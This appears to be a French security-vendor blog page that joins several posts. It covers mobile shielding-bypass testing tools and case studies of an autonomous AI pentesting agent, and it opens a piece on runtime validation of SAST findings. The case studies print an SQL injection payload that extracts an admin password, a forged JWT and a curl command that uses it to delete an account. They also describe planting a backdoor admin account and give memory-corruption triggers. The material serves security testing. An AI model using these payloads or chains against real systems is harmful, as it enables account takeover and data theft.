Un exemple provient de l’évaluation de cinq applications bancaires publiée par Ostorlab. Pour étudier l’épinglage de certificat, le scan a sollicité deux fois le vérificateur de certificat propre à l’application. Les deux exécutions ont utilisé le même certificat, la même instance du vérificateur et les mêmes pins configurés ; les hooks de contournement étaient désactivés pour une exécution et activés pour l’autre.

Observation	Hooks désactivés	Hooks activés
Les deux comparaisons de pin	Ont renvoyé `false`	Ont renvoyé `true`
Décision du vérificateur de certificat	A rejeté le certificat et levé une exception	A accepté le certificat sans exception

Ce changement contrôlé démontre un contournement du vérificateur de certificat sollicité dans ce test. La preuve vient de l’appel direct de la logique de vérification : la même entrée, qui était rejetée, a été acceptée lorsque les hooks étaient actifs.

L’équipe dispose ainsi d’une défaillance précise à investiguer et d’une condition concrète à revérifier après un correctif : le vérificateur rejette-t-il encore ce certificat lorsque le même contournement est tenté ?

Limites

Ostorlab est une plateforme commerciale ; elle nécessite donc un accès payant et s’adresse principalement aux équipes sécurité et d’ingénierie qui réalisent des évaluations reproductibles. En contrepartie, elle gère l’environnement de test, les tentatives de contournement et la collecte de preuves que l’équipe doit assembler et maintenir dans un workflow manuel.

Choisir la bonne approche pour tester le contournement du shielding d’une application

La bonne approche dépend de ce que l’équipe doit faire : trouver une protection, la mettre à l’épreuve pendant que l’application s’exécute, ou automatiser l’évaluation dans son ensemble.

Pour la modification de paquets et l’analyse de code : utilisez Apktool pour décoder, modifier et reconstruire des APK Android, JADX pour examiner le code DEX Android et Ghidra pour étudier les binaires natifs Android ou iOS. Ces outils prennent en charge les tests de repackaging et aident à localiser les contrôles de protection, mais ils ne démontrent pas à eux seuls un contournement à l’exécution.
Pour les tests à l’exécution : Objection fournit des routines prêtes à l’emploi pour les protections courantes, tandis que Frida donne plus de contrôle aux testeurs grâce à des hooks personnalisés. LLDB est utile lorsque l’investigation exige de mettre en pause l’exécution native et de suivre une décision de protection instruction par instruction. Les résultats de JADX ou de Ghidra orientent souvent les points sur lesquels ces tests à l’exécution doivent se concentrer.
Pour les tests automatisés : Ostorlab réunit la découverte des protections, les tentatives de contournement et la collecte de preuves dans un seul workflow automatisé. Les outils manuels peuvent toujours être utilisés en complément lorsqu’un spécialiste doit étudier plus en profondeur un résultat particulier. Pour évaluer une application Android ou iOS protégée, découvrez Mobile Shielding Scan.

Foire aux questions

Quels outils permettent de tester si la détection du root, la détection du jailbreak et l’épinglage de certificat résistent aux tentatives de contournement ?

Objection inclut des routines pour les contrôles courants de root, de jailbreak et d’épinglage de certificat. Frida permet de créer des hooks sur mesure lorsque ces routines ne correspondent pas à l’implémentation de l’application. Ostorlab Mobile Shielding Scan automatise les tests sur ces domaines de protection sur Android et iOS. Dans chaque cas, le résultat doit identifier le build, l’état de l’appareil, le parcours atteint et le comportement observé.

Les outils open source peuvent-ils réaliser une évaluation complète du shielding mobile ?

Ils peuvent prendre en charge l’ensemble du workflow manuel lorsque l’équipe dispose des accès et de l’expertise de rétro-ingénierie nécessaires. Un testeur peut utiliser Apktool pour modifier et reconstruire un paquet Android, JADX ou Ghidra pour comprendre une protection, puis Frida, Objection ou LLDB pour la mettre à l’épreuve et vérifier le résultat. Aucun outil open source de cette comparaison n’effectue automatiquement toutes les étapes ; l’équipe doit donc relier les outils et documenter les preuves.

Détecter une fonction de shielding prouve-t-il qu’elle résiste aux tentatives de contournement ?

Non. Trouver du code de détection du root, d’anti-débogage ou d’épinglage de certificat montre qu’une protection est présente. Son efficacité s’établit en mettant le contrôle à l’épreuve, en observant la réaction de l’application et en vérifiant si le comportement restreint reste accessible.

Quelle preuve montre qu’un contournement du shielding a fonctionné ?

La preuve la plus solide relie un changement contrôlé à la décision protégée. Par exemple, le même vérificateur et la même entrée peuvent être sollicités avec un contournement désactivé puis activé, et les deux résultats comparés. Un hook chargé ou une session d’instrumentation en cours ne prouve pas à lui seul que la protection visée a été contournée.

Comment Deep Agentic Scan détecte des vulnérabilités réelles et retorses

2026-09-23T10:00:00+02:00

Un Deep Agentic Scan est un test d'intrusion autonome qui raisonne sur une application comme le ferait un chercheur humain, puis prouve chaque vulnérabilité en l'exécutant. Au lieu de signaler du code suspect ou d'envoyer en masse des payloads génériques, il construit un exploit fonctionnel, capture les preuves d'exécution et ne signale que ce qu'il peut reproduire. Cet article présente quatre exemples réels.

Résumé exécutif (TL;DR)

À quoi s'attendre avec un Deep Agentic Scan ?
Un Deep Agentic Scan fournit des chaînes d'exploitation en plusieurs étapes, prouvées empiriquement, plutôt que des alertes théoriques non vérifiées. Les résultats facilitent la reproduction des vulnérabilités grâce à des traces de vérification dynamique en direct (telles qu'AddressSanitizer, Valgrind et Frida), à l'interception du trafic, à la preuve de l'extraction d'identifiants et à une remédiation exploitable fondée sur la cause racine, pour l'ensemble des API, applications web, applications mobiles et dépôts de code source.

Les scanners de sécurité automatisés traditionnels (DAST et SAST) restent essentiels pour la couverture de base, les contrôles de régression rapides et la découverte large de vulnérabilités sur des milliers d'actifs. Cependant, face à des surfaces d'attaque complexes et multicouches, les scans automatisés standard se heurtent souvent à un plafond invisible. Les analyseurs statiques peuvent signaler des avertissements théoriques qui exigent un tri manuel. Les scanners dynamiques standard envoient des payloads génériques dans les formulaires et passent à côté des failles subtiles de logique métier en plusieurs étapes. Les fuzzers dynamiques mutent les entrées à l'aveugle, butent sur les premières barrières de validation ou voient les erreurs avalées par les harnais de test.

Pour comprendre vraiment si un système est vulnérable, une plateforme de sécurité IA ne peut pas se contenter de deviner, de comparer à des signatures regex connues ou de pointer une syntaxe suspecte. Elle doit réfléchir, planifier et vérifier comme un chercheur en sécurité expérimenté, tout en opérant dans des limites de sécurité strictes.

Telle est la philosophie de conception au cœur du Deep Agentic Scan d'Ostorlab, une plateforme complète de pentest autonome et d'analyse de sécurité approfondie pour les applications web, les applications mobiles (Android et iOS), les points d'accès d'API, les réseaux et les dépôts de code source. Deep Agentic Scan orchestre des agents autonomes qui raisonnent sur les flux d'exécution, naviguent dans des états applicatifs complexes, conçoivent des exploits de précision et confirment empiriquement les vulnérabilités par une vérification dynamique.

Dimension de capacité	Scanners traditionnels (DAST / SAST)	Résultats de Deep Agentic Scan
Niveau de vérification	Correspondance rapide de motifs fondée sur des règles et alertes de surface	Preuve dynamique empirique (PoC exact, codes de sortie, traces de sanitizer et traces dynamiques)
Profondeur de logique et d'état	Tests aux limites sur une seule requête (couverture large)	Exploitation chaînée en plusieurs étapes (SQLi → prise de contrôle de l'authentification → exfiltration)
Analyse de taint et de mémoire	Analyse de taint statique, hooks Frida limités	Suivi d'origine en direct (instrumentation dynamique, suivi mémoire ASan et Valgrind)
Preuve livrée	Score de vulnérabilité et avis descriptif	Preuve d'exploit validée qui rend les problèmes simples à reproduire

Environnement de test et méthodologie

Les quatre études de cas analysées ci-dessous ont été examinées et validées dans des environnements sandbox autorisés, lors d'évaluations de benchmark et de recherche en sécurité. Deep Agentic Scan opère dans des limites contrôlées pour établir empiriquement l'exploitabilité avant de signaler. Cet article se concentre sur une sélection de vulnérabilités découvertes dans des applications web, des API et du code source, mais Deep Agentic Scan offre la même profondeur autonome sur les applications mobiles (Android et iOS) et les réseaux. Ces études de cas ne sont qu'une poignée d'exemples illustrant la vérification autonome de l'agent.

Dans cet article, nous examinons quatre vulnérabilités réelles et retorses découvertes par Deep Agentic Scan, en commençant par des chaînes d'exploitation web et API à fort impact, puis des failles complexes de sécurité mémoire enfouies au fond de dépôts de code source.

Vulnérabilité 1 : injection SQL basée sur les erreurs en plusieurs étapes et prise de contrôle de compte via un cast de type de base de données

Les API modernes séparent souvent leur couche d'ingestion des requêtes internes à la base de données. Lorsque les paramètres d'entrée doivent être des entiers, de nombreuses applications s'appuient sur la coercition de type au niveau de la base de données plutôt que sur une validation stricte du schéma en amont. Ce choix de conception subtil peut ouvrir un vecteur d'attaque inattendu.

Dans une plateforme de banque numérique et de fintech traitant des transactions sensibles, un point d'accès d'API était conçu pour planifier des paiements de factures :

POST /api/bill-payments/create HTTP/1.1
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "biller_id": 104,
  "amount": 50.00,
  "payment_method": "balance"
}

Le motif de la vulnérabilité d'injection SQL

Alors que des paramètres comme amount et payment_method étaient validés, le backend construisait l'instruction SQL INSERT sous-jacente en interpolant directement l'entrée utilisateur dans la chaîne de requête :

INSERT INTO bill_payments (biller_id, amount, payment_method) 
VALUES ({user_biller_id}, {amount}, '{payment_method}')

Avec VALUES ({user_biller_id}, ...), l'entrée est insérée directement à la position de la colonne entière biller_id. Comme le moteur de base de données attendait un entier pour biller_id, il tentait une conversion de type explicite (CAST). Lorsqu'une chaîne d'entrée ou le résultat d'une sous-requête ne peut pas être converti en entier, la base de données lève une exception de conversion à l'exécution et inclut telle quelle la chaîne fautive dans la réponse d'erreur.

Comment Deep Agentic Scan a exploité l'injection SQL

Plutôt que de se contenter des techniques d'injection SQL aveugle classiques, booléennes ou temporelles, qui exigent des centaines d'allers-retours HTTP, l'agent de pentest autonome a déduit comment transformer la gestion d'erreurs de la base de données en canal d'exfiltration :

Injection de sous-requête avec incohérence de type : l'agent a conçu une sous-requête destinée à récupérer le mot de passe administrateur en clair et à forcer un cast de type vers un entier :
```
{
  "biller_id": "(SELECT CAST(password AS integer) FROM users WHERE username='admin' LIMIT 1)",
  "amount": 5.00,
  "payment_method": "balance"
}
```
Extraction immédiate d'identifiants : la base de données a évalué la sous-requête en premier, récupéré le mot de passe sous forme de chaîne, tenté de le convertir en entier, échoué, puis renvoyé :
```
{
  "status": "error",
  "message": "invalid input syntax for type integer: \"Compromised123!\""
}
```
Chaîne d'exploitation en plusieurs étapes : l'agent ne s'est pas arrêté au signalement d'une alerte d'injection SQL. Agissant en véritable testeur d'intrusion autonome, il a enchaîné cette vulnérabilité jusqu'à une compromission administrative complète :
Authentification sur /login avec les identifiants admin récupérés, ce qui lui a donné une session administrative.
Utilisation des privilèges élevés pour appeler /admin/create_admin, créant un compte administrateur persistant servant de porte dérobée.
Interrogation des points d'accès GraphQL internes (query { transactionSummary { ... } }), extrayant des milliards de volume de transactions agrégé et des données du grand livre.

Appel d'outil de Deep Agentic Scan : extraction d'identifiants par injection SQL basée sur les erreurs

Vulnérabilité 2 : contournement complet de l'authentification via des signatures JWT non vérifiées dans des API financières

Les JSON Web Tokens (JWT) sont omniprésents dans les applications modernes. Un JWT se compose de trois segments encodés en base64 : l'en-tête, la charge utile et la signature. La sécurité repose entièrement sur le fait que le serveur vérifie que la signature correspond à l'en-tête et à la charge utile à l'aide d'une clé cryptographique de confiance.

Le motif de la vulnérabilité de signature JWT

Dans le panneau d'administration d'une application web financière, les points d'accès étaient protégés par un filtre d'authentification par jeton. Cependant, l'implémentation sous-jacente reposait sur un raccourci fatal :

# Vulnerable implementation pattern
def verify_token(token):
    try:
        # Decodes the payload WITHOUT validating the HMAC cryptographic signature
        payload = jwt.decode(token, options={"verify_signature": False})
        if payload and payload.get('is_admin') is True:
            return payload
    except Exception:
        return None

L'application inspectait le jeton, analysait les claims JSON et confirmait que la valeur du claim is_admin était vraie. Mais elle omettait entièrement la validation de la signature.

Comment Deep Agentic Scan a exploité le contournement d'authentification JWT

Deep Agentic Scan a identifié et confirmé cette vulnérabilité par des tests d'hypothèses rigoureux :

Sondage différentiel de référence : les requêtes non authentifiées vers des points d'accès d'administration tels que POST /admin/create_admin ou POST /admin/delete_account/<id> renvoyaient 401 Unauthorized (« Token missing »).
Hypothèse d'indépendance de la signature : l'agent a construit un jeton entièrement forgé, avec une charge utile arbitraire et une signature qui n'est qu'une chaîne factice :
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo5OTk5OSwidXNlcm5hbWUiOiJ0b3RhbGx5X2Zha2VfdXNlciIsImlzX2FkbWluIjp0cnVlLCJpYXQiOjk5OTk5OTk5OTl9.Y29tcGxldGVseV9mYWtlX3NpZ25hdHVyZQ
```
(Le segment de signature Y29tcGxldGVseV9mYWtlX3NpZ25hdHVyZQ se décode littéralement en base64 par "completely_fake_signature").
Preuve d'exécution empirique : opérant strictement dans des garde-fous de test non destructifs, l'agent a d'abord enregistré un compte de test jetable (id: 5) pendant la préparation du scan. Il a ensuite envoyé une commande d'administration avec le jeton forgé pour supprimer précisément cet enregistrement créé pour le test :
```
curl -X POST "https://target-platform/admin/delete_account/5" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo5OTk5OSwidXNlcm5hbWUiOiJ0b3RhbGx5X2Zha2VfdXNlciIsImlzX2FkbWluIjp0cnVlLCJpYXQiOjk5OTk5OTk5OTl9.Y29tcGxldGVseV9mYWtlX3NpZ25hdHVyZQ"
```
Le serveur a renvoyé :
```
{
  "status": "success",
  "message": "Account deleted successfully",
  "debug_info": {
    "deleted_by": "totally_fake_user",
    "deleted_user_id": 5
  }
}
```
En confirmant que l'API avait bien exécuté la suppression administrative et renvoyé deleted_by: "totally_fake_user" à partir de la charge utile du jeton forgé, l'agent a prouvé le contournement complet de l'authentification et la prise de contrôle administrative.

Appel d'outil de Deep Agentic Scan : contournement de l'authentification JWT

Vulnérabilité 3 : fuite de mémoire de pile non initialisée et exfiltration de taint dans des parseurs de données C++

Lorsque les développeurs optimisent des parseurs hautes performances ou embarqués, la taille du code et la vitesse d'exécution sont souvent mises en balance avec la programmation défensive. Une intuition répandue veut que, si un attaquant envoie des données malformées, renvoyer une sortie incohérente soit sans danger : « garbage in, garbage out ».

Lors d'un scan autonome du code source d'un dépôt C++, Deep Agentic Scan a rencontré ce schéma. Dans les langages compilés, un état non initialisé n'est jamais de simples données incohérentes sans conséquence : il déclenche un comportement indéfini au regard de la spécification du langage, ce qui mène directement à la divulgation de mémoire et à une propagation de taint exploitable.

Le motif de la vulnérabilité de mémoire de pile non initialisée

Dans une ancienne version d'ArduinoJson, une bibliothèque JSON C++ très répandue conçue pour les systèmes embarqués, les séquences d'échappement Unicode (\uXXXX) situées en dehors du plan multilingue de base sont représentées par des paires de substitution UTF-16. Comme les échappements standard \uXXXX ne contiennent que 4 chiffres hexadécimaux (jusqu'à 0xFFFF), les caractères de points de code plus élevés ne tiennent pas dans un seul échappement. Ils nécessitent deux unités consécutives de 16 bits : un substitut haut (0xD800 à 0xDBFF) suivi d'un substitut bas (0xDC00 à 0xDFFF), que le parseur recombine en un seul caractère.

Pour minimiser la taille du code et l'empreinte mémoire sur des appareils aux ressources limitées, la classe interne Utf16::Codepoint définissait des variables d'état privées sur la pile sans initialiseur par défaut :

// json/utf16.hpp
class Codepoint {
 private:
  uint16_t _highSurrogate;   // Line 55: Declared without an initializer
  uint32_t _codepoint;
};

Reconnaissant que _highSurrogate pouvait être lu avant d'être affecté lorsqu'une séquence de substituts invalide est fournie, la bibliothèque a explicitement supprimé l'avertissement du compilateur sur les variables non initialisées à l'aide d'un commentaire en ligne :

// The high surrogate may be uninitialized if the pair is invalid,
// we choose to ignore the problem to reduce the size of the code
// Garbage in => Garbage out
#if defined(__GNUC__) && __GNUC__ >= 7
#pragma GCC diagnostic ignored "-Wmaybe-uninitialized"
#endif

Pendant la désérialisation, Utf16::Codepoint::append() ne renseigne _highSurrogate que lorsqu'il rencontre un substitut haut valide (utf16.hpp:36). Si le parseur reçoit à la place un substitut bas isolé (comme \uDC00) sans substitut haut préalable, le contrôle bifurque directement vers la logique de décodage du substitut bas :

bool append(uint16_t codeunit) {
  if (isHighSurrogate(codeunit)) {
    _highSurrogate = codeunit & 0x3FF;   // The only write site
    return false;
  }
  if (isLowSurrogate(codeunit)) {
    // Reads uninitialized stack memory from _highSurrogate
    _codepoint = uint32_t(0x10000 + ((_highSurrogate << 10) | (codeunit & 0x3FF)));
    return true;
  }
  _codepoint = codeunit;
  return true;
}

Comme _highSurrogate n'a jamais été initialisé dans le cadre de pile, append() effectue de l'arithmétique bit à bit sur des octets de pile périmés. Le _codepoint contaminé est renvoyé via value() et transmis directement au puits de sérialisation UTF-8 dans Utf8::encodeCodepoint() :

// src/ArduinoJson/Json/Utf8.hpp:21
// The library builds the UTF-8 byte stream in reverse into a local buffer:
if (codepoint32 < 0x80) {    // Conditional branch depends on uninitialized value
  *(p++) = char(codepoint32);
} else {
  *(p++) = char((codepoint32 | 0x80) & 0xBF); // Continuation byte
  uint16_t codepoint16 = uint16_t(codepoint32 >> 6);
  if (codepoint16 < 0x20) {
    *(p++) = char(codepoint16 | 0xC0);        // 2-byte leading byte
  } else {
    *(p++) = char((codepoint16 | 0x80) & 0xBF);
    codepoint16 = uint16_t(codepoint16 >> 6);
    if (codepoint16 < 0x10) {
      *(p++) = char(codepoint16 | 0xE0);      // 3-byte leading byte
    } else {
      *(p++) = char((codepoint16 | 0x80) & 0xBF);
      codepoint16 = uint16_t(codepoint16 >> 6);
      *(p++) = char(codepoint16 | 0xF0);      // 4-byte leading byte
    }
  }
}

Cette valeur contaminée détermine matériellement le flux d'octets UTF-8 émis, ce qui fait sérialiser directement dans la chaîne de sortie la mémoire de pile résiduelle laissée par des appels de fonctions précédents.

Comment Deep Agentic Scan a suivi la fuite de mémoire

Les suppressions d'avertissements du compilateur sur les variables non initialisées sont souvent écartées comme un comportement théorique ou inoffensif de type « garbage in, garbage out ». Pour établir si cette faille représente un risque de sécurité exploitable, Deep Agentic Scan a exécuté un workflow de vérification autonome en deux phases distinctes : la génération chirurgicale d'un payload, puis l'analyse dynamique de suivi mémoire.

1. Synthèse différentielle de référence

L'agent a d'abord formulé une hypothèse différentielle : une entrée bénigne valide doit être analysée proprement, sans aucune anomalie mémoire, alors qu'un substitut bas isolé ciblé doit déclencher la lecture non initialisée.

Plutôt que d'envoyer des octets de fuzzing aléatoires ou des structures profondément imbriquées susceptibles de provoquer des erreurs de syntaxe sans rapport, l'agent a synthétisé un payload ciblé, un scalaire JSON de 8 octets "\uDC00", accompagné d'une entrée témoin {"a":"hello"} :

Appel d'outil de Deep Agentic Scan : synthèse du payload et de la référence bénigne

2. Suivi dynamique de l'origine mémoire avec Valgrind

Pour capturer dynamiquement les bugs d'utilisation de mémoire non initialisée, les compilateurs proposent MemorySanitizer (MSan), tandis que l'instrumentation binaire à l'exécution s'appuie sur Valgrind Memcheck (l'outil d'analyse dynamique de référence pour la détection des erreurs mémoire sous Linux). Lorsque les contraintes de sécurité du conteneur ont empêché MemorySanitizer de modifier la randomisation de l'espace d'adressage (ADDR_NO_RANDOMIZE), l'agent a adapté dynamiquement sa stratégie en compilant un harnais autonome et en l'exécutant sous Valgrind Memcheck avec --track-origins=yes et --error-exitcode=77 :

Exécution de Valgrind Memcheck et suivi d'origine par Deep Agentic Scan

La trace d'exécution obtenue a fourni une preuve de bout en bout de la chaîne d'exploitation :

Origine sur la pile (json_deserializer.hpp:357) : le suivi de mémoire fantôme de Valgrind a identifié le moment exact où la mémoire non initialisée a été allouée sur la pile dans parseQuotedString(), correspondant au membre non initialisé _highSurrogate.
Première branche contaminée (utf8.hpp:21) : lorsque append(0xDC00) a calculé le point de code à partir de l'état de substitut non initialisé, encodeCodepoint() a évalué if (codepoint32 < 0x80). Valgrind a immédiatement intercepté ce point de décision comme un Conditional jump or move depends on uninitialised value(s).
Exfiltration dans la sortie sérialisée (text_formatter.hpp:38) : les avertissements suivants dans TextFormatter::writeString ont confirmé qu'il ne s'agissait pas d'une simple anomalie arithmétique interne. Le point de code corrompu a été converti en octets UTF-8 et écrit directement dans la chaîne JSON sérialisée, ce qui prouve que la mémoire de pile résiduelle des cadres d'exécution précédents est divulguée à tout client qui consomme la sortie analysée.
Code de sortie déterministe (77) : alors que la référence bénigne s'est exécutée sans aucune erreur et a renvoyé le code de sortie 0, le PoC déclencheur s'est terminé avec le code 77, fournissant une vérification différentielle claire.

Trace d'exfiltration de Valgrind Memcheck par Deep Agentic Scan et code de sortie 77

Vulnérabilité 4 : corruption de mémoire par lecture hors limites du tas contournant les harnais de test de fuzzing

Lors d'un scan autonome du code source d'une version antérieure d'Apache Arrow (un framework de données en colonnes hautes performances très répandu), Deep Agentic Scan a mis au jour une divergence architecturale entre les harnais de test internes et les API clientes réelles.

Le motif de la vulnérabilité de lecture hors limites

Dans Apache Arrow (qui gère des flux IPC et réseau à haut débit), l'échange de données repose sur des formats de sérialisation binaires. Lors de la désérialisation des métadonnées des messages entrants, le framework copie les attributs des champs depuis les en-têtes binaires des messages directement dans des structures de métadonnées internes :

// ipc/reader.cc:166-179
Status GetFieldMetadata(int field_index, ArrayData* out) {
  const flatbuf::FieldNode* node = nodes->Get(field_index);

  out->length = node->length();
  out->null_count = node->null_count();
  out->offset = 0;
  return Status::OK();
}

Cependant, le lecteur ne vérifiait jamais que les tampons physiques fournis avec les métadonnées étaient assez grands pour contenir le out->length déclaré.

Comme le framework est optimisé pour des analyses à haut débit sans copie, les opérations de tableau suivantes omettent les contrôles de limites à l'exécution lors de l'accès aux éléments :

// array/array_binary.h:94-96
/// \brief Return the data buffer absolute offset of the data for the value at the passed index.
/// Does not perform boundschecking
offset_type value_offset(int64_t i) const {
  return raw_value_offsets_[i + data_->offset];
}

Dans les tableaux binaires d'Apache Arrow, les offsets sont stockés sous forme d'entiers de 32 bits (4 octets). Un tableau déclarant length = 50000 nécessite 50001 entiers d'offset (environ 200 004 octets, soit ~200 Ko) pour délimiter les frontières des chaînes. Si un flux entrant déclare length = 50000 mais ne fournit qu'un tampon de 24 octets (qui ne contient que 6 entiers), tout accès au-delà de l'indice 5 sort du tampon alloué.

Comment Deep Agentic Scan a contourné l'angle mort du fuzzer

Pourquoi cette vulnérabilité a-t-elle échappé aux harnais de fuzzing continu existants ?

La cible de fuzzing interne du dépôt contenait un appel de validation explicite après la lecture de chaque lot :

// stream_fuzz.cc
Status status = batch->ValidateFull();
DISCARD_UNUSED(status);

ValidateFull() a correctement détecté que le tampon de 24 octets était bien plus petit que les ~200 Ko requis pour 50 000 entrées et a renvoyé une erreur Status::Invalid. Cependant, le harnais du fuzzer a écarté la valeur de retour avec DISCARD_UNUSED et s'est terminé proprement avec le code de sortie 0. Pour le fuzzer, l'exécution était parfaitement propre.

Plus important encore, l'API cliente publique (RecordBatchStreamReader::ReadNext()) n'appelle pas ValidateFull(). Appeler une validation structurelle complète sur chaque lot entraînerait une surcharge de performance importante dans des pipelines de streaming à haut débit. Les applications réelles qui consomment des flux non fiables directement via l'API publique étaient donc laissées sans aucune protection.

Deep Agentic Scan a repéré cette divergence précise :

Analyse différentielle des API : l'agent a compris que la sortie propre de la cible de fuzzing était un artefact de l'absorption des erreurs, alors que le code client réel consomme les lots sans validation complète.
Fabrication du flux IPC muté : l'agent a pris un fichier de flux IPC valide de 336 octets, contenant à l'origine 5 éléments, et a modifié ses champs d'en-tête de longueur de 5 à 50000. Cela a créé un flux malveillant dont les métadonnées prétendent contenir 50 000 lignes, alors que la charge utile de données reste minuscule.
Vérification de bout en bout via l'API : l'agent a rédigé un harnais de vérification autonome liant la bibliothèque publique et exerçant RecordBatchStreamReader::Open et ReadNext sous AddressSanitizer :

Appel d'outil de Deep Agentic Scan : exécution du harnais de test sous AddressSanitizer

L'examen de la sortie de diagnostic obtenue montre comment l'incohérence se transforme directement en corruption de la mémoire du tas, puis en arrêt du programme :

Trace de corruption mémoire AddressSanitizer relevée par Deep Agentic Scan

La trace confirme le bug sous trois angles : - L'incohérence des tampons : les métadonnées du flux déclaraient Batch num_rows: 50000, ce qui exige 50001 int32 entries (~200 Ko) pour les offsets, alors que la charge utile fournissait un tampon d'offsets de seulement 24 bytes (6 entrées). - Lectures hors limites du tas prouvées : la sortie de diagnostic prouve les lectures hors limites en action. Les entrées valides du tampon s'arrêtaient à l'indice 5 (value_offset(5) = 23). De l'indice 6 à l'indice 14, le harnais a continué à indexer la mémoire du tas au-delà du tampon de 24 octets, affichant des valeurs mémoire incohérentes (1819043176, 1919907695, 1918985324) qui ont divulgué le contenu environnant du tas. - Erreur de segmentation sur de la mémoire non mappée : en s'éloignant encore des limites vers value_offset(49999) (tentant de lire environ 200 Ko plus loin), le harnais a atteint une page mémoire non mappée. AddressSanitizer a intercepté la lecture illégale (SEGV on unknown address 0x614000030e94) dans arrow::BaseBinaryArray<arrow::BinaryType>::value_offset(long) à array_binary.h:95:12, interrompant proprement l'exécution avec le code de sortie 134.

Points clés : comment les agents autonomes changent les tests de sécurité

Trouver des failles de sécurité critiques dans des applications en production exige de dépasser les scanners passifs et la correspondance de règles statiques. Dans les backends web, les applications mobiles et les dépôts de code source, les vulnérabilités apparaissent là où les développeurs font des hypothèses qui ne sont jamais validées à l'exécution.

Les quatre vulnérabilités détaillées dans cet article illustrent les avantages pratiques d'une approche agentique des tests de sécurité :

Enchaînement d'attaques en plusieurs étapes : dans la vulnérabilité d'injection SQL financière, l'agent ne s'est pas arrêté lorsqu'il a provoqué une erreur de base de données. Il a formulé une sous-requête d'extraction, récupéré le mot de passe administrateur, ouvert une session sur le portail d'administration, créé un utilisateur persistant servant de porte dérobée et extrait des données financières. Un véritable test de sécurité exige d'aller jusqu'au bout à travers plusieurs étapes de l'application.
Synthèse de logique sensible au contexte : pour le contournement de l'authentification JWT, l'agent a déduit que le serveur vérifiait les claims sans vérifier la signature cryptographique, a forgé un jeton d'administration avec une fausse signature et a confirmé l'accès lorsque l'API a traité la requête privilégiée.
La vérification différentielle élimine le bruit : pour la mémoire non initialisée dans ArduinoJson, les avertissements statiques avaient déjà été examinés et volontairement ignorés par les développeurs au nom d'une hypothèse « garbage in, garbage out ». L'agent a compilé un harnais de test, l'a exécuté sous Valgrind Memcheck avec suivi d'origine et a prouvé que des octets de pile non initialisés fuient réellement dans la sortie sérialisée, avec une sortie déterministe au code 77.
Tester les API clientes publiques : dans Apache Arrow, le fuzzing automatisé n'a jamais déclenché le bug, car le harnais de fuzzing interne du dépôt interceptait le lot invalide avec ValidateFull() et écartait l'erreur. L'agent a compris que les applications clientes réelles utilisent RecordBatchStreamReader::ReadNext(), qui ignore la validation pour des raisons de performance, et a prouvé la corruption de mémoire sur l'API publique réelle sous AddressSanitizer.

En combinant l'analyse contextuelle du code et la vérification dynamique pratique, Deep Agentic Scan transforme un risque théorique en preuve d'ingénierie reproductible.

Foire aux questions (FAQ)

En quoi un Deep Agentic Scan diffère-t-il du test dynamique de sécurité des applications (DAST) standard ?

Alors que les outils DAST standard envoient en masse des payloads préconfigurés dans des entrées HTTP isolées, un Deep Agentic Scan utilise des agents IA autonomes pour comprendre la logique métier, suivre l'état de l'application à travers des parcours utilisateur en plusieurs étapes et enchaîner des vulnérabilités distinctes de faible sévérité en preuves d'exploitation de bout en bout.

Un Deep Agentic Scan produit-il des faux positifs ?

Les Deep Agentic Scans réduisent les faux positifs grâce à la vérification dynamique. Au lieu de signaler une faille potentielle d'après une simple correspondance de motifs, l'agent exécute des harnais de reproduction ciblés et confirme l'impact (par exemple en observant une corruption de mémoire sous AddressSanitizer ou en vérifiant une élévation de privilèges via une action d'administration) avant de signaler le problème, tout en opérant sous des garde-fous stricts pour éviter d'effectuer des actions qui pourraient poser problème dans un environnement de production (comme ne jamais supprimer de comptes ou d'enregistrements utilisateur existants, sauf s'ils ont été créés explicitement pendant le test).

Quels actifs peut-on tester avec Deep Agentic Scan ?

Deep Agentic Scan couvre les applications web, toutes les API (REST, GraphQL, gRPC et protocoles personnalisés), les applications mobiles (iOS et Android), l'infrastructure cloud et tous les dépôts de code source.

Quels garde-fous garantissent que le scan ne sort pas du périmètre ?

Deep Agentic Scan intègre des garde-fous de sécurité complets et multicouches, conçus pour minimiser les actions hors périmètre sans compromettre la profondeur des tests ni la qualité de l'évaluation du code : - Listes d'exclusion de périmètre et de pare-feu : lors de la création du scan, les utilisateurs peuvent définir des listes d'exclusion explicites et des règles d'exclusion de pare-feu pour isoler les environnements sensibles (comme des bases de données de production actives ou des passerelles de paiement critiques). - Limites de débit configurables (QPS) : les utilisateurs peuvent configurer des limites de débit personnalisées (requêtes par seconde) à l'étape de création du scan pour que le trafic de scan ne submerge jamais les serveurs, ne provoque pas de dégradation de service et ne déclenche pas de seuils anti-DDoS. - Prompts de garde-fous personnalisés : les équipes sécurité peuvent configurer des prompts de garde-fous personnalisés directement dans la configuration du scan. - Inspection des appels d'outils en temps réel : un agent superviseur dédié surveille et inspecte chaque appel d'outil avant son exécution pour vérifier strictement que les paramètres cibles, les URL et les payloads restent strictement dans le périmètre autorisé. - Politiques d'état non destructives : les agents imposent des opérations réversibles et des règles d'état non destructives, sans jamais altérer ni supprimer les enregistrements utilisateur ou les données opérationnelles préexistants.

Un agent IA peut-il prouver les résultats SAST à l'exécution ?

2026-09-23T10:00:00+02:00

Un agent autonome a pris un résultat SAST (test statique de sécurité des applications) sur Langflow v1.7.3, a soumis un composant personnalisé dont le constructeur attend dix secondes, et a reçu la réponse au bout de 40,50 secondes, et non de dix. Le serveur exécute le code soumis quatre fois pour chaque requête de validation. Aucun outil d'analyse statique ne peut voir cette réponse de 40,50 secondes, car elle n'existe que lorsque le code s'exécute. Un second cas, un use-after-free dans libxml2, montre les tests à l'exécution corrigeant le résultat lui-même : trois des six conditions que le rapport disait nécessaires se sont révélées inutiles.

Ce que la validation à l'exécution apporte à un rapport SAST

Qu'est-ce que la validation à l'exécution ?
La validation à l'exécution consiste à tester un résultat d'analyse statique sur une application en fonctionnement pour confirmer s'il se déclenche réellement, quelle est sa gravité et quelles conditions il exige vraiment. Elle transforme un bug possible en bug prouvé, ou l'écarte.

Les outils d'analyse statique parcourent le code source et signalent les lignes qui semblent vulnérables. Ils n'exécutent jamais le code ; ils ne peuvent donc pas dire si un bug signalé est réel, quelle est sa gravité ni qui il touche. Les équipes passent des heures à trier les vraies vulnérabilités des faux positifs, et une file d'attente remplie surtout de bruit apprend aux développeurs à traiter chaque ticket comme du bruit, y compris les quelques-uns qui finiront dans un rapport d'incident.

